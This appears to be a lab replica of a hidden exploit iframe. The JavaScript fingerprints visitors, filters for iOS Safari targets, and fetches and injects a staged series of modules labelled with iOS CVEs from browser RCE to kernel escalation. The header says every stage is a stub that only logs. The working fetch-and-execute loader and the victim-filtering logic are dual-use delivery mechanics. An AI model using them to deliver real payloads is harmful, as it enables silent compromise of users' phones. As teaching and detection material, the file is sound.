// Delivery-Lab — frame.html
// replica of hidden exploit iframe (GTIG Figure 3: frame.html, opacity 0.01
// + stage loader). No exploits — stub stages that log where the real one
// would have fired.
document.addEventListener('DOMContentLoaded', function () {
var fp = fingerprint();
var log = function (msg) {
parent.postMessage({ lab: true, msg: msg, fp: fp }, '*');
console.log('[lab]', msg);
};
log('iframe loaded (opacity 0.01, victim sees nothing)');
log('fingerprint: ' + JSON.stringify(fp, null, 1).slice(0, 600));
var v = iosVersion();
var verd = vulnVerdict(v);
log('iOS: ' + (v ? v.join('.') : '?') + ' -> ' + verd.verdict + ' — ' + verd.detail);
if (!fp.is_target) {
log('not a target (not iOS Safari or bot) — original would stop here.');
return;
}
// stage loader: replica of the DarkSword sequence.
// each fetch returns a stub module; real kit returns weaponized JS per CVE.
var stages = [
{ url: '/stage/rce_worker.js', name: 'S1 — RCE', cve: 'CVE-2025-31277 / CVE-2025-43529 (JavaScriptCore)' },
{ url: '/stage/sbx0_main.js', name: 'S2 — PAC', cve: 'CVE-2026-20700 (dyld)' },
{ url: '/stage/sbx1_main.js', name: 'S3 — WebContent->GPU', cve: 'CVE-2025-14174 (ANGLE/WebGL OOB)' },
{ url: '/stage/mediaplaybackd.js',name: 'S4 — GPU->mediaplaybackd', cve: 'CVE-2025-43510 (XNU copy-on-write)' },
{ url: '/stage/pe_main.js', name: 'S5 — KERNEL LPE', cve: 'CVE-2025-43520 (VFS race, XNU)' },
{ url: '/stage/payload.js', name: 'S6 — PAYLOAD (SIM)', cve: 'GHOSTBLADE/GHOSTKNIFE/GHOSTSABER' }
];
var i = 0;
function next() {
if (i >= stages.length) {
log('=== chain complete (simulation). On a vulnerable firmware the victim would notice NOTHING. ===');
return;
}
var s = stages[i++];
fetch(s.url).then(function (r) { return r.text(); }).then(function (code) {
log(s.name + ' [' + s.cve + '] module loaded (' + code.length + ' bytes) — executing...');
var sc = document.createElement('script');
sc.textContent = code;
document.body.appendChild(sc);
setTimeout(next, 500);
}).catch(function () {
log(s.name + ': fetch failed — real kit would retry/restart');
setTimeout(next, 400);
});
}
next();
});